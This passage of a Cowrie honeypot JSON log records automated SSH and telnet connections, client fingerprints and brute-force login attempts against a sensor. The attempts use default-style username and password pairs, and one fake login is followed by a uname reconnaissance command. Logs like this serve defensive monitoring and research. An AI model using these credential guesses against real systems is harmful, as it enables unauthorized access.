{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:23.085705Z","src_ip":"176.65.139.95","session":"3484070872fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":46800,"dst_ip":"159.203.135.109","dst_port":22,"session":"f426227e80e0","protocol":"ssh","message":"New connection: 176.65.139.95:46800 (159.203.135.109:22) [session: f426227e80e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:27.700962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:27.799899Z","src_ip":"176.65.139.95","session":"f426227e80e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:27.803319Z","src_ip":"176.65.139.95","session":"f426227e80e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.113.202.175","src_port":48968,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdbcdfbb54cc","protocol":"telnet","message":"New connection: 62.113.202.175:48968 (159.203.135.109:23) [session: fdbcdfbb54cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:28.215204Z"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:28.448437Z","src_ip":"176.65.139.95","session":"f426227e80e0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:28.687612Z","src_ip":"176.65.139.95","session":"f426227e80e0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:28.690855Z","src_ip":"176.65.139.95","session":"f426227e80e0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:28.776702Z","src_ip":"176.65.139.95","session":"f426227e80e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:28.781687Z","src_ip":"176.65.139.95","session":"f426227e80e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35124,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f84efffe688","protocol":"ssh","message":"New connection: 176.65.139.95:35124 (159.203.135.109:22) [session: 8f84efffe688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:34.470227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:34.487652Z","src_ip":"176.65.139.95","session":"8f84efffe688","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:34.568982Z","src_ip":"176.65.139.95","session":"8f84efffe688","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins@123","message":"login attempt [jenkins/jenkins@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:34.956386Z","src_ip":"176.65.139.95","session":"8f84efffe688","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49718,"dst_ip":"159.203.135.109","dst_port":22,"session":"44a997dcb3d6","protocol":"ssh","message":"New connection: 192.109.200.78:49718 (159.203.135.109:22) [session: 44a997dcb3d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:35.553910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:35.588969Z","src_ip":"192.109.200.78","session":"44a997dcb3d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:35.654600Z","src_ip":"192.109.200.78","session":"44a997dcb3d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:35.985943Z","src_ip":"192.109.200.78","session":"44a997dcb3d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:36.077971Z","src_ip":"176.65.139.95","session":"8f84efffe688","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:37.070332Z","src_ip":"192.109.200.78","session":"44a997dcb3d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50432,"dst_ip":"159.203.135.109","dst_port":22,"session":"2705620bcaa6","protocol":"ssh","message":"New connection: 192.109.200.78:50432 (159.203.135.109:22) [session: 2705620bcaa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:40.943145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:40.947057Z","src_ip":"192.109.200.78","session":"2705620bcaa6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36006,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb6299380922","protocol":"ssh","message":"New connection: 176.65.139.95:36006 (159.203.135.109:22) [session: cb6299380922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:41.005408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:41.011629Z","src_ip":"176.65.139.95","session":"cb6299380922","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:41.030463Z","src_ip":"192.109.200.78","session":"2705620bcaa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:41.109414Z","src_ip":"176.65.139.95","session":"cb6299380922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"main","message":"login attempt [main/main] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:41.429314Z","src_ip":"176.65.139.95","session":"cb6299380922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:41.604928Z","src_ip":"192.109.200.78","session":"2705620bcaa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:42.651004Z","src_ip":"176.65.139.95","session":"cb6299380922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:42.697748Z","src_ip":"192.109.200.78","session":"2705620bcaa6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50456,"dst_ip":"159.203.135.109","dst_port":22,"session":"5975ca58168d","protocol":"ssh","message":"New connection: 192.109.200.78:50456 (159.203.135.109:22) [session: 5975ca58168d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:44.219691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:44.350572Z","src_ip":"192.109.200.78","session":"5975ca58168d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:44.395554Z","src_ip":"192.109.200.78","session":"5975ca58168d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37318,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3a7f00a379e","protocol":"ssh","message":"New connection: 159.203.92.129:37318 (159.203.135.109:22) [session: e3a7f00a379e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:44.739902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:44.744327Z","src_ip":"159.203.92.129","session":"e3a7f00a379e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:44.814708Z","src_ip":"159.203.92.129","session":"e3a7f00a379e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Lingqingzhao","password":"Lingqingzhao123","message":"login attempt [Lingqingzhao/Lingqingzhao123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:44.898518Z","src_ip":"159.203.92.129","session":"e3a7f00a379e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei","message":"login attempt [root/huawei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:44.962985Z","src_ip":"192.109.200.78","session":"5975ca58168d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:45.905439Z","src_ip":"159.203.92.129","session":"e3a7f00a379e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:46.050986Z","src_ip":"192.109.200.78","session":"5975ca58168d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.44.137.58","src_port":57828,"dst_ip":"159.203.135.109","dst_port":23,"session":"44f88d9b9b5c","protocol":"telnet","message":"New connection: 89.44.137.58:57828 (159.203.135.109:23) [session: 44f88d9b9b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:47.288742Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36016,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c1d3078573e","protocol":"ssh","message":"New connection: 176.65.139.95:36016 (159.203.135.109:22) [session: 5c1d3078573e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:47.419500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:47.424226Z","src_ip":"176.65.139.95","session":"5c1d3078573e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@